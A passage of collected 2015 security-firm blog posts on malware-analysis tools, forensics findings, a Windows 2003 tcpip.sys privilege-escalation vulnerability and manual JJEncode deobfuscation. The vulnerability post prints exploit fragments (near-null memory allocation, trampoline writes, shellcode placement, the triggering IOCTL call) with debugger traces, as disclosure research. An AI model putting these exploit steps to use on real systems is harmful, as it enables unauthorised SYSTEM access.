script written by Giuseppe 'Evilcry' Bonfa and inspired from OfficeMalScanner. It scans office documents in order to assess if they could be malicious. Within MASTIFF Online the plugin is only executed for office document file types (a.k.a., "Office"), and the results of the plugin can be seen by clicking on the "office-analysis" record in the detail pane for those file types. - Added an "x" icon next to the GUI search box which clears the search box text and refreshes the list when clicked. We will re-process samples when necessary (e.g., after a MASTIFF upgrade or plugin addition) and as time allows. In this case the existing samples have been re-processed so that they now have the new plugin results. --- ## The WebJob Framework: An Endpoint Security Solution URL: https://korelogic.com/blog/2015/06/10/the-webjob-framework-an-endpoint-security-solution/ Overview of the WebJob framework, a centralized endpoint security system for executing programs across managed systems in production environments. Published: 2015-06-10 Author: Andy Category: Digital Forensics Tags: tools, forensics, web-security The WebJob framework is a next generation endpoint security solution that, from a centralized management location, can execute virtually any program on an arbitrary number of end systems at any time. This framework has been deployed in a number of production environments including the Federal government and Fortune 500 businesses to perform various activities such as evidence collection, enterprise searches, incident response, live forensics, system management and monitoring, and grid computing. The WebJob framework is an open source client-server solution that acts as a force multiplier for anyone who needs to automate various tasks or work on an enterprise scale. It does this by enabling engineers to run arbitrary programs and/or scripts on a wide array of operating systems (e.g., UNIX(R), Linux(R), Mac OS(R), Windows(R), Android(R), etc.). The results, if any, can be aggregated and collated on the WebJob server where they can be operated on in bulk. With the flexibility that the framework provides, administrators who are inclined to write their own scripts can achieve a high level of automation and efficiencies of scale. With the WebJob framework, you can effectively do more with less. Please click the link below to read more about how the framework could be the next generation endpoint security solution for you. The WebJob Framework: A Generic, Extensible, and Scalable Endpoint Security Solution --- ## One Month of MASTIFF Online! URL: https://korelogic.com/blog/2015/05/27/one-month-of-mastiff-online/ One month after opening MASTIFF Online, KoreLogic released MASTIFF 0.7.1 with bug fixes and new analysis plug-ins. Published: 2015-05-27 Author: Tyler Category: Tools & Frameworks Tags: malware, tools, forensics It has been exactly one month since MASTIFF Online was opened, and to celebrate, we have released the next stable version of MASTIFF! Version 0.7.1 includes a large number of bug fixes, as well as some new analysis plug-ins to get more information out of the files you are analyzing. The new version can be found at [GitHub](https://github.com/KoreLogicSecurity/mastiff). ## MASTIFF 0.7.1 Most of the code in this release has been in the [git repository](https://github.com/KoreLogicSecurity/mastiff) for some time now. Remember, you can always download the latest code to try out any new features and plug-ins that have been added. What has changed since the last stable version of MASTIFF? A lot. Here is a brief list of major changes: - Tons of bug fixes. - Plug-ins have been moved to a central directory, so you no longer have to specify their location in the MASTIFF config file. - A hex dump analysis plug-in was added to render the file in hex output. - A [Metascan Online](https://www.metascan-online.com) plug-in was added to query the Metascan site. Note, however, that you will need an [API key](https://www.metascan-online.com/en/public-api) to query that site. - Yara signatures are now also used to determine file type in the category plug-ins. - When running setup.py to install MASTIFF, the configuration file will now be installed into /etc/mastiff so it is detected by default. Expect more great things to come from MASTIFF in the near future, including output plug-ins! ## MASTIFF Online In the past month, we have seen a lot of activity surrounding [MASTIFF Online](https://mastiff-online.korelogic.com). The response has been overwhelmingly positive, and we have received many submissions to the site. Even more important, the submission rate has been fairly steady, and we continue to analyze new malware each day. Some statistics about our first month of operation: - At last check, we have received 526 files to analyze. The vast majority have been Windows PE executables, followed by PDFs and Office documents. However, we've also received a number of ELF executables. We are looking to expand the analysis offerings for all of these file types to make the site more useful. - The United States leads the number of uploads to the site, followed by Brazil and Spain. - MASTIFF Online has been visited by over 900 unique IP addresses since it opened. The U.S. leads this statistic as well, followed by Great Britain and Spain. This may not seem like a lot of files or visits, but MASTIFF Online is still a new site and the fact that we are seeing a steady amount of traffic is a good indicator of its usefulness. ## How to Contribute As time goes on, we plan on adding more features to both MASTIFF and MASTIFF Online. However, to do so, we need feedback from the community. Let us know what you would like to see in the project. The more feedback we receive, the better we can prioritize the feature enhancements we are working on. Send feedback or suggestions to [mastiff-online@korelogic.com](mailto:mastiff-online@korelogic.com). Don't forget that you can always write new plug-ins for MASTIFF and submit them to the [git repository](https://github.com/KoreLogicSecurity/mastiff). --- ## What Did CCleaner Wipe? URL: https://korelogic.com/blog/2015/05/18/what-did-ccleaner-wipe/ Forensic analysis of CCleaner secure deletion behavior and the artifacts it can leave behind when filenames, file contents, and free space are wiped. Published: 2015-05-18 Author: Don Category: Digital Forensics Tags: tools, forensics The use of CCleaner is encountered at times during forensic investigations of computer systems. It has been labeled an "anti-forensics" tool as it has a secure deletion mode where it can overwrite data, filenames, and free space. Overwriting files and filenames removes the chance to recover the data and subject it to further analyses; hence, the anti-forensics label. There may be some remnants and data left for analysis and comparison; but, at best you can infer what had been wiped. What you are faced with is a case of "You don't know what you don't know". That is, until now. CCleaner will actually tell you what files it wiped. You just have to work for it. CCleaner is a system optimization software package developed and distributed by Piriform. A free version is available for download and use. Piriform [describes the capabilities](https://www.piriform.com/ccleaner/features) of CCleaner as follows: > "CCleaner is our system optimization, privacy and cleaning tool. It removes unused files from your system - allowing Windows to run faster and freeing up valuable hard disk space. It also cleans traces of your online activities such as your Internet history. Additionally it contains a fully featured registry cleaner. But the best part is that it's fast (normally taking less than a second to run) and contains NO Spyware or Adware! CCleaner does have a few artifacts that may be uncovered. The character patterns of overwriting; registry values for the configuration settings; as well as the data still resident in pagefile, volume shadows, and hibernation files after its use have been reported on sites such as: - [http://www.magnetforensics.com/oh-no-the-suspect-ran-ccleaner-to-get-rid-of-the-evidence](http://www.magnetforensics.com/oh-no-the-suspect-ran-ccleaner-to-get-rid-of-the-evidence) - [http://cheeky4n6monkey.blogspot.com/2012/02/writing-ccleaner-regripper-plugin-part.html](http://cheeky4n6monkey.blogspot.com/2012/02/writing-ccleaner-regripper-plugin-part.html) - [http://hackingexposedcomputerforensicsblog.blogspot.com/2013/09/daily-blog-99-sunday-funday-92913-winner.html](http://hackingexposedcomputerforensicsblog.blogspot.com/2013/09/daily-blog-99-sunday-funday-92913-winner.html) CCleaner, in what Piriform refers to as "secure file deletion" mode, overwrites a file's content with other characters. There are multiple options available in this mode with each option increasing the number of times a file is overwritten. Even the "simple overwrite" option consisting of one pass over the data is enough to frustrate recovery of the original data. Filenames are overwritten as well. On an NTFS formatted drive, the filename records in the Master File Table are replaced with the letter "Z". For example, a file named "TEST.TXT" will have each character in the name overwritten with the letter Z and will be renamed to "ZZZZ.ZZZ" after the process is completed. CCleaner, even on its most aggressive settings, will possibly leave some information in the pagefile, volume shadows, and hibernation files on a system. A forensics examiner could recover Internet History as well as other remnants from these areas as they have not been overwritten by CCleaner. When trying to gather information on data overwritten by CCleaner, files resident in volume shadows will allow you to infer what may have been overwritten. The same is true for files and filenames located in pagefiles and hibernation files. The registry entries for CCleaner's configuration settings will indicate the types of files and some locations of files that will be affected, but does not directly tell you the names of the files, much less their content. The difficulty is in establishing a link between the data you believe CCleaner overwrote and the data actually overwritten by the program. For example, in a recent case filenames and file paths recovered from a hibernation file showed a few thousand filenames referenced that were no longer resident on the system. Fortunately, the system had gone into hibernation shortly before the wiping so the timing was good, allowing for a comparison of filenames found in the hibernation file to filenames active on the system. The configuration settings for CCleaner allowed one to infer that many of these files were potentially files wiped by CCleaner. However, deletion in the normal course of events for the system, such as when the Internet cache size has been exceeded, could not be entirely excluded. To try to address the question of what CCleaner wiped, testing was performed on a clean system to observe and monitor how CCleaner operates. This testing uncovered an artifact of what appears to be how CCleaner handles the overwriting of filenames on a system. As stated previously, CCleaner will overwrite letters in a filename with the letter "Z". In the process of performing this task, CCleaner writes out the filename it intends to replace multiple times, followed by the same filename lengths, this time consisting of all Z's. For example, as CCleaner was executing, the filename "TEST.TXT" was seen being written out to disk a few times, followed by the pattern "ZZZZ.ZZZ". The other filenames being overwritten were handled in the same fashion. A forensic image of the system was taken after the execution of CCleaner had completed and was searched for the pattern noticed in testing. A match of this pattern was found in the unallocated space of the hard drive. The search results looked like this: > TEST.TXT > TEST.TXT > TEST.TXT > ZZZZ.ZZZ > ZZZZ.ZZZ > ZZZZ.ZZZ TEST1.TXT TEST1.TXT TEST1.TXT ZZZZZ.ZZZ ZZZZZ.ZZZ ZZZZZ.ZZZ And so forth... In order to ensure that the monitoring programs did not affect this finding, the same test was run again on a clean system without the monitoring tools in place. Once again, the pattern was located in the unallocated portion of the hard drive. Even after varying settings for CCleaner, positive findings for this pattern were located on the hard drive. Only when the free space overwriting option was selected did most of the artifacts go away. Some items were still found in the pagefile; however, these were quite few compared to the amount previously located. The real test took place when a search for this pattern was conducted on the hard drive in the case mentioned previously. Success! Positive hits were found on the drive and were quite extensive. In fact, of the few thousand filenames referenced in the hibernation file that were no longer resident on the system, over 80% matching filenames were located and associated with these CCleaner artifacts. So, we had positive correlation of roughly 80% of the unique filenames found in the hibernation file impacted by CCleaner running on the system. Once a filename is located, even if the original file is overwritten, it is still possible to gather more information regarding that file. Remnants and even whole copies of files may be located once a filename is identified. If you have a filename, searches for that name will turn up interesting and informative results. In this case, finding this artifact in CCleaner led to the identification of multiple key elements. In every case since this one involving CCleaner, this pattern has allowed the correlation of at least some information about files that were wiped. Unfortunately, this search will not allow one to completely locate all of the filenames of files that were overwritten, or necessarily lead to recovering their data. More information, including our timeline of attempts to contact the vendor, available [in the advisory we published](/advisories/KL-001-2015-002/). To quote the Rolling Stones song from the "Let It Bleed" album: "You can't always get what you want. But if you try sometime, you find, you get what you need." --- ## MASTIFF Online Free 1.0.0 Released URL: https://korelogic.com/blog/2015/04/27/mastiff-online-free-100-released/ MASTIFF Online 1.0.0 introduced a free web interface for uploading files and receiving static analysis results from the MASTIFF framework. Published: 2015-04-27 Author: Andy Category: Tools & Frameworks Tags: malware, tools, forensics, passwords, iot KoreLogic is pleased to announce the release of MASTIFF Online, a web interface into the open source MASTIFF static analysis framework. With this free online tool, anyone can upload files to be examined by MASTIFF, returning the results within minutes. MASTIFF Online can be accessed at [https://mastiff-online.korelogic.com](https://mastiff-online.korelogic.com). MASTIFF was created by KoreLogic through the DARPA Cyber Fast Track program. The purpose of MASTIFF is to provide an automated framework through which analysts can quickly run static analysis techniques, such as embedded strings and PE header analysis, against a potentially malicious file. Written in Python, MASTIFF is able to be quickly expanded to take on new types of files or add new analysis techniques. Unlike other malware analysis frameworks, MASTIFF focuses solely on static analysis (examining the characteristics of files), and not dynamic analysis (examining the behavior of files). MASTIFF Online was created to meet the needs of users for a web interface to the framework. Using the KoreLogic Rapid Application Development (KRAD) service, KoreLogic was able to construct the web front-end in a short amount of time and push it out for public use. Currently, MASTIFF Online supports a number of file types and utilizes a number of static analysis techniques, including: - PE Header Analysis - Embedded Strings Analysis - Single-byte String Extraction - PE Resource Analysis - Anti-virus Results based on hash - Malicious PDF Object Detection - Microsoft Office Shellcode Detection - ...and many others MASTIFF Online can be accessed at [https://mastiff-online.korelogic.com](https://mastiff-online.korelogic.com). The source code for MASTIFF can be downloaded at [GitHub](https://github.com/KoreLogicSecurity/mastiff). The framework is a work in progress and new analysis types and techniques will be continually added. If you have any questions, comments, or suggestions for improvement, please contact the development team at [mastiff-online@korelogic.com](mailto:mastiff-online@korelogic.com). --- ## SSD Storage - Ignorance of Technology is No Excuse URL: https://korelogic.com/blog/2015/03/24/ssd-storage-ignorance-of-technology-is-no-excuse/ A forensic storage discussion on why SSD behavior changes assumptions about long-term preservation of digital evidence. Published: 2015-03-24 Author: Don Category: Security Research Tags: web-security Digital evidence storage for legal matters is a common practice. As the use of Solid State Drives (SSD) in consumer and enterprise computers has increased, so too has the number of SSDs in storage increased. When most, if not all, of the drives in storage were mechanical, there was little chance of silent data corruption as long as the environment in the storage enclosure maintained reasonable thresholds. The same is not true for SSDs. A stored SSD, without power, can start to lose data in as little as a single week on the shelf. SSDs have a shelf life. They need consistent access to a power source in order for them to not lose data over time. There are a number of factors that influence the non-powered retention period that an SSD has before potential data loss. These factors include amount of use the drive has already experienced, the temperature of the storage environment, and the materials that comprise the memory chips in the drive. The Joint Electron Device Engineering Council (JEDEC) defines standards for the microelectronics industry, including standards for SSDs. One of those standards is an endurance rating. One of the factors for this rating is that an SSD retains data with power off for the required time for its application class. For client application SSDs, the powered-off retention period standard is one year while enterprise application SSDs have a powered-off retention period of three months. These retention periods can vary greatly depending on the temperature of the storage area that houses SSDs. In a presentation by Alvin Cox on JEDEC's website titled ["JEDEC SSD Specifications Explained"](http://www.jedec.org/sites/default/files/Alvin_Cox%20%5BCompatibility%20Mode%5D_0.pdf) [PDF warning], graphs on slide 27 show that for every 5 degrees C (9 degrees F) rise in temperature where the SSD is stored, the retention period is approximately halved. For example, if a client application SSD is stored at 25 degrees C (77 degrees F) it should last about 2 years on the shelf under optimal conditions. If that temperature goes up 5 degrees C, the storage standard drops to 1 year. The standards change dramatically when you consider JEDEC's standards for enterprise class drives. The storage standard for this class of drive at the same operating temperature as the consumer class drive drops from 2 years under optimal conditions to 20 weeks. Five degrees of temperature rise in the storage environment drops the data retention period to 10 weeks. Overall, JEDEC lists a 3-month period of data retention as the standard for enterprise class drives. A check of various drive manufacturers, in this case Samsung, Intel, and Seagate, shows that their ratings for data retention of their consumer class drives are what would be expected for JEDEC's enterprise class drive standards. All three quote a nominal 3-month retention time period. Most likely, the manufacturers are being conservative; however, it demonstrates the potential variability the manufacturers associate with data retention on any SSD in storage. When you receive a computer system for storage in legal hold, drive operating and ambient storage temperature are probably not the first things on tap to consider. You cannot control the materials that comprise the drive and the prior use of the drive. You can control the ambient temperature of the storage which will potentially aid in data retention. You can also ensure that power is supplied to the drives while in storage. More importantly, you can control how the actual data is retained. The easiest way to manage the problem is to image the drive in a timely manner. If long term storage is required, image the SSD onto a mechanical drive and place that drive in storage as well as the SSD. If you maintain an online legal hold storage capability, image the SSD to that storage. Either way, you essentially eliminate potential data retention problems. The worst-case scenario is explaining to the court why your data cannot be accessed because the hard drive you placed into storage is throwing out errors. What started this look into SSDs? An imaging job of a laptop SSD left in storage for well over the 3-month minimum retention period quoted by the manufacturer of the drive before it was turned over to us. This drive had a large number of bad sectors identified during the imaging period. Not knowing the history, I did not consider the possibility of data loss due to the drive being in storage. Later, I learned that the drive was functioning well when it had been placed into storage. When returned to its owner a couple of months after the imaging, the system would not even recognize the drive as a valid boot device. Fortunately, the user data and files were preserved in the drive image that had been taken, thus there was no net loss. Now imagine a situation in which an SSD was stored in legal hold where the data was no longer available for imaging, much less use in court. Ignorance of the technology is no excuse, and I am sure the opposing counsel would enjoy the opportunity to let the court know of the "negligent" evidence handling in the matter. Bottom line - image it now ... and use a mechanical disk. --- ## Windows 2003 Privilege Escalation via tcpip.sys URL: https://korelogic.com/blog/2015/01/28/windows-2003-privilege-escalation-via-tcpipsys/ Discussion of a Windows Server 2003 SP2 TCP/IP driver vulnerability that could allow local privilege escalation from unprivileged access. Published: 2015-01-28 Author: Matt Category: Security Research Tags: vulnerability-research, tools In my post for today, I will be discussing a vulnerability that I found within the TCP/IP driver as implemented by Microsoft within their Windows 2003 Operating System with Service Pack 2 installed (advisory [here](/advisories/KL-001-2015-001/)). If an attacker has obtained unprivileged access into the operating system, this vulnerability may be used to elevate their privilege to that of SYSTEM. This is accomplished by abusing a null near pointer dereference within code that runs during the processing of a specific unprivileged IOCTL call. This vulnerability was issued identifiers: KL-001-2015-001, MS14-070, and CVE-2014-4076. In order to avoid duplicating content from the advisory issued for this vulnerability, I will only provide a brief tl;dr before diving into the exploit. By using nt!NtDeviceIoControlFile() it is possible to leverage a handle into the Tcp device along with the IOCTL code 0x00120028 and specific inputBuffer to trigger a near null pointer dereference within the extended stack index register. This register is used as a pointer to memory containing a dword that is used to determine the code path to be taken. This can be abused through a combination of reverse engineering (in order to understand what values have what effect on code flow) and attacker memory allocation near null. In this post, I will discuss in detail the methodology leveraged during exploit development. I would like to note that Microsoft has confirmed this vulnerability exists on both x86, x64, and Itanium architectures. I will only focus on the x86 architecture in this post. The original crash that led to the exploitation of this vulnerability was found as such: ``` ErrCode = 00000000 eax=00000000 ebx=859ef888 ecx=00000008 edx=00000100 esi=00000000 edi=80a58270 eip=f67ebbbd esp=f620a9c8 ebp=f620a9dc iopl=0 nv up ei pl zr na pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246 tcpip!SetAddrOptions+0x1d: f67ebbbd 8b5e28 mov ebx,dword ptr [esi+28h] ds:0023:00000028=???????? ``` The ???????? indicates that the memory being reference is not allocated and therefore can not be copied from. The ESI register contains 0x00000000, a value that is user-controlled during the IOCTL call. By modifying that value, it is possible for an attacker to control memory used during decisions by the driver relating to code flow. This allows an attacker to influence those decisions in a way that benefits him. Let's review some of what that looks like. ``` kd> p tcpip!SetAddrOptions+0x2b: ba9fca65 f6c340 test bl,40h kd> p tcpip!SetAddrOptions+0x2e: ba9fca68 7567 jne tcpip!SetAddrOptions+0x9e (ba9fcad1) kd> p tcpip!SetAddrOptions+0x30: ba9fca6a 66837e3800 cmp word ptr [esi+38h],0 kd> p tcpip!SetAddrOptions+0x35: ba9fca6f 7560 jne tcpip!SetAddrOptions+0x9e (ba9fcad1) kd> r;p ``` The BL register contains the last byte in a dword value obtained from ESI+28, or 0x00000028. No problems there, we'll just write any four-byte value we like there. In my exploit, I ended up with the following: ``` ret_two = WriteProcessMemory(-1, 0x28, "\x87\xff\xff\x38", 4, byref(c_int(0))) ``` Only the first and last bytes are really needed to accomplish exploitation. I did not go any further to figure out the meaning of the inner two bytes. The last byte is tested first using this instruction: ``` test bl, 40h ``` Basically, this becomes a bitwise AND (i.e., 0x38 & 0x40). The second test is then encountered. This test determines whether the word pointer at 0x00000038 is 0x0000 or not. Since this also falls within range of memory that I can write to, my exploit does the following: ``` ret_three = WriteProcessMemory(-1, 0x38, "\x00"*2, 2, byref(c_int(0))) ``` So far so good, this gets me to a code block that makes a call into tcpip!IsBlockingAOOption. ``` kd> p tcpip!SetAddrOptions+0x37: ba9fca71 ff75f8 push dword ptr [ebp-8] ss:0010:b9c5db78=00000200 kd> p tcpip!SetAddrOptions+0x3a: ba9fca74 ff750c push dword ptr [ebp+0Ch] ss:0010:b9c5db8c=00000022 kd> p tcpip!SetAddrOptions+0x3d: ba9fca77 e8f588ffff call tcpip!IsBlockingAOOption (ba9f5371) kd> p tcpip!SetAddrOptions+03e: ba9d4a7c 84c0 test al,al ``` This code does a bitwise AND operation on the AL register. The value of the AL register is set as a result of the call to tcpip!IsBlockingAOOption. This code leverages the EAX register, which also becomes tainted with a null value earlier on in the code flow. From here, we can release code flow until the instruction pointer is dereferenced. ``` eax=00000010 ebx=80a58290 ecx=00000000 edx=00000000 esi=00000000 edi=00000000 eip=baa07ee2 esp=b9b12b48 ebp=b9b12b60 iopl=0 nv up ei ng nz na pe cy cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000287 tcpip!ProcessAORequests+0x144: baa07ee2 8b86ec000000 mov eax,dword ptr [esi+0ECh] ds:0023:000000ec=00000000 kd> p ... eax=00000000 ebx=80a58290 ecx=00000008 edx=00000000 esi=00000000 edi=00000000 eip=baa07ef3 esp=b9b12b48 ebp=b9b12b60 iopl=0 nv up ei pl nz na po nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000202 tcpip!ProcessAORequests+0x155: baa07ef3 8945f4 mov dword ptr [ebp-0Ch],eax ss:0010:b9b12b54=baa07da3 kd> p ... kd> db [ebp-0c] L?0x4 b9b12b54 00 00 00 00 .... kd> r;p eax=00000000 ebx=80a58290 ecx=00000002 edx=00000000 esi=00000000 edi=00000000 eip=baa07efa esp=b9b12b40 ebp=b9b12b60 iopl=0 nv up ei pl zr na pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000246 tcpip!ProcessAORequests+0x15c: baa07efa ff55f4 call dword ptr [ebp-0Ch] ss:0010:b9b12b54=00000000 Illegal instruction - code c000001d (!!! second chance !!!) 0000002a ff ??? ``` tl;dr ``` mov eax,dword ptr [esi+0ECh] ds:0023:000000ec=00000000 mov dword ptr [ebp-0Ch],eax ss:0010:b9b12b54=baa07da3 call dword ptr [ebp-0Ch] ss:0010:b9b12b54=00000000 ``` Now, we need to get the pointer landing somewhere nice and put some fun shellcode to be executed. ``` ret_one = NtAllocateVirtualMemory(-1,byref(c_int(0x1000)),0x0,byref(c_int(0x1000)),0x1000|0x2000,0x40) ret_five = WriteProcessMemory(-1, 0x2b, "\x00"*2, 2, byref(c_int(0))) ret_six = WriteProcessMemory(-1, 0x2000, sc, len(sc), byref(c_int(0))) ``` Writing 0x0000 at 0x2b will change the EIP value to 0x2000, we can then have our shellcode waiting at 0x2000. An alternative to this, would be to write a dword pointer to your shellcode at 0x000000ec. Both cases act as a trampoline into the shellcode. Then, an attacker only needs to issue the following call: ``` DeviceIoControlFile(handle,NULL,NULL,NULL,byref(c_ulong(8)),0x00120028,0x1100,len(buf),0x0,0x0) ``` A metasploit module to leverage this vulnerability has been released by another member of our team along with this blog post; [pull request here](https://github.com/rapid7/metasploit-framework/pull/4664). In the meantime, exploit code written in Python can be found [in the advisory we published](/advisories/KL-001-2015-001/). Cheers, Matt --- ## Giles 3.0.0 Released URL: https://korelogic.com/blog/2015/01/22/giles-300-released/ Announcement of the Giles 3.0.0 production rule system compiler release and availability for users of the KoreLogic toolset. Published: 2015-01-22 Author: Rob Category: Tools & Frameworks Tags: tools, forensics, iot, web-security The Giles production rule system compiler has just been released! It is available for download [here](https://github.com/KoreLogicSecurity/giles). Production rule systems (or "engines" in Giles parlance) are tools that are commonly used to efficiently find patterns in streams of data where any number of data items (or "facts") can be added or removed over time. They're very commonly used to perform complex behavior detection (i.e., event correlation), like fraud detection for credit cards via transaction history or multi-part attacks against servers via combined analysis of firewall and server logs. They can also be used to provide some form of artificial intelligence, forming the core of many expert systems and automated planners. All that sounds great, but what is Giles? Well, first off, let me explain the motivation behind Giles. Traditionally, production rule systems are either standalone, or complex packages with APIs accessible from only a handful of languages. We wanted to build a new breed of compiler that lets users create engines that are accessible from any programming language and easily embedded inside larger projects. To that end, we created Giles. Giles's claim to fame is that it can turn a normal relational database (SQLite in the current release) into a production rule system (engine). It does this by compiling a description of the engine into a database schema. Databases created using this schema instantly become the described engine, with no additional software or driver program needed. This approach has immediate advantages, the most important being that any language that can access the database can be used to access and drive the engine. This makes it much easier to embed complex event correlation, artificial intelligence, and automated planning inside larger applications. Another interesting benefit is that these production systems can take advantage of the underlying database's data-safety guarantees (e.g., transactions, data durability, etc.). Finally, these production systems can handle terabytes of data, survive system crashes, and be run over long periods of time. Production rule systems are often considered esoteric or hard to understand or use. But don't let that hold you back. One of our goals is to make these powerful computational tools more accessible to a wider audience. The distribution tar ball includes several examples that you can experiment with. In conclusion, I hope all this sounds interesting to you. If it does, please download Giles, read the documentation, and give the examples a try. Also, stay tuned to the KoreLogic Blog where we will post various worked examples, tips, and tricks in the days ahead. --- ## Brain Bleeding JavaScript Obfuscation URL: https://korelogic.com/blog/2015/01/12/brain-bleeding-javascript-obfuscation/ A malware-analysis walkthrough showing how heavily obfuscated JavaScript can hide web-based attacks and how analysts can reason through deobfuscation. Published: 2015-01-12 Author: Tyler Category: Malware Analysis Tags: javascript, malware, tools, forensics, passwords JavaScript is often used to facilitate web-based attacks. To make analysis more difficult and hide from signature-based systems, attackers will often obfuscate their JavaScript. Fortunately, there are many ways to deobfuscate JavaScript, or at least determine what it is doing. Sometimes, however, you come across obfuscated JavaScript that just makes your brain bleed. **UPDATE**: Some have requested the actual JS used in this analysis, so here it is: - [malJS.zip](/blog/2015/01/12/brain-bleeding-javascript-obfuscation/malJS.zip) (MD5: 8ad201d4dba1e19295ea1162308f3c0b, pass: infected) In the last few days there has been a Dyre (banking trojan) spam campaign with the subject lines "Fax #123456" or "Employee Documents - Internal Use". The emails contain a link to a web page that loads two obfuscated JavaScript pages - each of which look like this: [Image](/blog/2015/01/12/brain-bleeding-javascript-obfuscation/js_encoded.png) If there ever was obfuscated JavaScript that made you want to crawl under your desk and cry, this is it. A common methodology to deobfuscate malicious JavaScript (JS) is to run it in a modified interpreter, such as the [SpiderMonkey modified by Didier Stevens](http://blog.didierstevens.com/programs/spidermonkey/). These programs run the obfuscated JavaScript and give you output from JS `eval` or `document.write` commands, which is often used in obfuscated JavaScript. Unfortunately, there are times these programs don't work. When that happens, if you want to see the deobfuscated code you have to do some manual analysis. This post will illustrate how to manually decode the JavaScript from this attack. ### JJEncode This obfuscated JavaScript is encoded using [JJEncode](http://utf-8.jp/public/jjencode.html), a JavaScript encoder. Unfortunately, I did not realize this until halfway through manual decoding. There is an [excellent paper on how JJEncode works by Peter Ferrie](http://pferrie2.tripod.com/papers/jjencode.pdf), and two automated deobfuscation tools by [Jacob Soo](https://github.com/jacobsoo/Decoder-JJEncode) and [Nahuel Riva](https://github.com/crackinglandia/python-jjdecoder). Any duplication of information from these resources is accidental. Despite the availability of these resources, it is still worth examining how the JJEncoded JavaScript can be manually decoded so you can use these techniques in future deobfuscation attempts. ### The Obfuscated Code [Image](/blog/2015/01/12/brain-bleeding-javascript-obfuscation/js_nice.png) [This JavaScript](/blog/2015/01/12/brain-bleeding-javascript-obfuscation/js_encoded.png) hurts to look at - mostly due to the lack of line breaks and the obfuscated variable names. However, if we examine the code one line at a time, we will start to get an idea of what it is doing. Code beautifiers, like [JS Nice](http://www.jsnice.org/), work great for inserting line breaks automatically. Doing so with the obfuscated JavaScript shows that we are dealing with only 6 lines of code. As we shall see during the analysis, JJEncode is essentially a substitution encoding that goes through three phases: - Initialization, where characters and values are assigned to variables. - Substitution, where the variables are used to construct code. - Execution, where the constructed code is executed. As each line is analyzed, we will see these phases and construct the deobfuscated code. ### Line 1 The first line consists of: ``` $ = ~[]; ``` JavaScript variable names are [pretty flexible in the characters that can be used](https://mathiasbynens.be/notes/javascript-identifiers), so the above variable name of "$" is a valid name. Unlike a number of other languages, such as Perl, the dollar sign is not a reserved character and therefore able to be used in any part of the variable name. This allows other variables names that we'll see in this JS, such as $_, $$$, and _$_. Line 1 is an assignment statement, assigning the value of ~[] to the variable **$**. The tilde character is a bitwise NOT operation, and the [] signifies a JavaScript array. What happens when you NOT an array? You get -1. So, this statement assigns -1 to the variable **$**. ### Line 2 The second line is a bit longer, but broken up we see: ``` $ = { ___ : ++$, $$$$ : (![] + "")[$], __$ : ++$, $_$_ : (![] + "")[$], _$_ : ++$, $_$$ : ({} + "")[$], $$_$ : ($[$] + "")[$], _$$ : ++$, $$$_ : (!"" + "")[$], $__ : ++$, $_$ : ++$, $$__ : ({} + "")[$], $$_ : ++$, $$$ : ++$, $___ : ++$, $__$ : ++$ }; ``` In this line, **$** is being reassigned to a JavaScript object, as denoted by the curly braces. Properties of the object are defined within the braces in the form "`name : value`", and individual properties are separated by commas. The first property is **___** (3 underscores), or its full name, **$.___**. The value of this property is `++$`, which takes the value of **$** (currently -1), increments it (to 0), and then assigns it to the property. So, in this statement, **$** is incremented by one to 0 and then assigned to **$.___**. Note that since the object is still being built, **$** is still a number and not an object yet. The second property is **$$$$**. The value of this property is `(![] + "")[$].` The first part of this value is `(![] + "")`. `![]` is an array that is logically NOT'd. This turns it into the boolean value "false". By concatenating it with an empty string, the value is turned a string. Therefore, `(![] + "")` evaluates to the string "false". However, there is a `[$]` after the string "false". In JavaScript, a letter of a string can 1 be obtained by specifying the index of the character within brackets (string positions start at 0). Here, **$** currently evaluates to 0, so this line is asking for the character at position 0 in the string "false", or "f". Iterations for the explanation above are shown below to better illustrate the process. ``` $$$$ : (![] + "")[$] 1. $$$$ : (false + "")[$] 2. $$$$ : ("false")[$] 3. $$$$ : ("false")[0] 4. $$$$ : "f" ``` The rest of the object properties are constructed in a similar fashion: incrementing the **$** variable, constructing a string, and grabbing a character out of the string by specifying its index. After decoding all of the object, the values look as such: ``` $ = { ___ : 0, $$$$ : "f", __$ : 1, $_$_ : "a", _$_ : 2, $_$$ : "b", $$_$ : "d", _$$ : 3, $$$_ : "e", $__ : 4, $_$ : 5, $$__ : "c", $$_ : 6, $$$ : 7, $___ : 8, $__$ : 9 }; ``` What do we have? The hexadecimal alphabet! The purpose of this whole statement was to produce the hexadecimal alphabet for use in the later substitutions. ### Line 3 The next three lines construct more variables used for substitution. Line 3 (separated to easily view) is: ``` $.$_=($.$_=$+"")[5]+ ($._$=$.$_[1])+ ($.$$=($.$+"")[1])+ ((!$)+"")[3]+ ($.__=$.$_[6])+ ($.$=(!""+"")[1])+ ($._=(!""+"")[2])+ $.$_[5]+ $.__+ $._$+ $.$; ``` This is an assignment to a new property in the **$** object, **$.$_**. The value of the property is constructed by concatenating values together, as denoted by the plus operator. Each value is grabbing a character using an index, so this is likely a string being constructed. We can evaluate each of the values to get the entire string. 1. The first character is `($.$_=$+"")[5]`. This operation assigns the value of `$+""` to **$.$_**, then takes the 6th character (index 5 is the 6th character). `$+""` is the string "[object Object]", and the 6th character is "c". 2. The second character is `($._$=$.$_[1])`. **$.$_** was previously assigned the value of "[object Object]", so the 2nd character (index 1) is "o". Note this also assigns "o" to **$._$**. 3. Third, we have `($.$$=($.$+"")[1])` which assigns a value to **$.$$**. The value assigned is `($.$+"")[1]`. **$.$** has not been seen yet, so it is undefined, thus creating the string "undefined". The second letter is "n", so "n" is assigned to **$.$$**. 4. Fourth is `((!$)+"")[3]`. This obtains the 4th letter of the string created by `((!$)+"")`. Performing a boolean NOT (the '!' operator) on an object returns false, so the string "false" is created. The fourth letter is "s". 5. `($.__=$.$_[6])` is the fifth operation, which assigns the 7th letter of **$.$_** (the string "[object Object]") to **$.__**. The 7th letter is "t". 6. Sixth, `($.$=(!""+"")[1])` assigns a value to $.$. The value assigned is the 2nd letter of `!""+""`. In JavaScript, an empty string is considered another representation of false, so a logical NOT of false is the value true. The operaton `!""+""` creates the string "true", the 2nd letter of which is "r". 7. The seventh operation, `($._=(!""+"")[2])`, gets the 3rd character from the same string ("true"), "u", and assigns it to **$._**. 8. Eigth, the 6th character of **$.$_** ("[object Object]") is obtained, 